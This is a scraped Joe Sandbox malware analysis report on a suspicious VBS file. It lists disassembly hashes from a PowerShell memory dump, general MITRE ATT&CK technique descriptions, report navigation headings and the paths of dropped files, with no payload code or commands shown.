Instruction ID: ed4623fb78d5367db8d939e2929d1f643fb200c6f2bd41e27879432ddad7c35d
Opcode Fuzzy Hash: 4b8ea9116ff9ea3a5faef83d5e1e50c761145b54eece5e85fe4a82898cff63f6
Instruction Fuzzy Hash: 15518962E5FACB8FF791D72848185B86AD1FF52264B5855B9D08DC31D3CE18DC484389

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC343945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1481896180.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da2c6b30f459f635ce5dc462c2373d4b27d0aa50ea3d8b2107ca56167582fe6
Instruction ID: 5fba944a60d0d689c1ce4e9002d5a4d3b3aa9fbc57964eb4e5857ad7a85dbe96
Opcode Fuzzy Hash: 5da2c6b30f459f635ce5dc462c2373d4b27d0aa50ea3d8b2107ca56167582fe6
Instruction Fuzzy Hash: 0201677111CB0C8FD784EF0CE451AA5B7E0FB95364F10056DE58AC3665D636E881CB45

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFAAC3400AD Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1481896180.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 965f358e2799f30fea3fdc5ae4473d179ee465f5cc5abda118ab29494bcb9682
Instruction ID: ed22b64d2a4f64a5b7e3cc2d433df70474748722285e6d251f21f42a8930e142
Opcode Fuzzy Hash: 965f358e2799f30fea3fdc5ae4473d179ee465f5cc5abda118ab29494bcb9682
Instruction Fuzzy Hash: AA51B096A0FAC2DBF35657B899558A9BF50EF5326270880FBD0CD4A0D7E809D80DC3D6

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report justificant de transfer#U00e8ncia.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1vnfwmx4.dha.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_550yl205.cft.ps1

C:\Users\user\AppData\Roaming\Colouration.Afh

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
justificant de transfer#U00e8ncia.vbs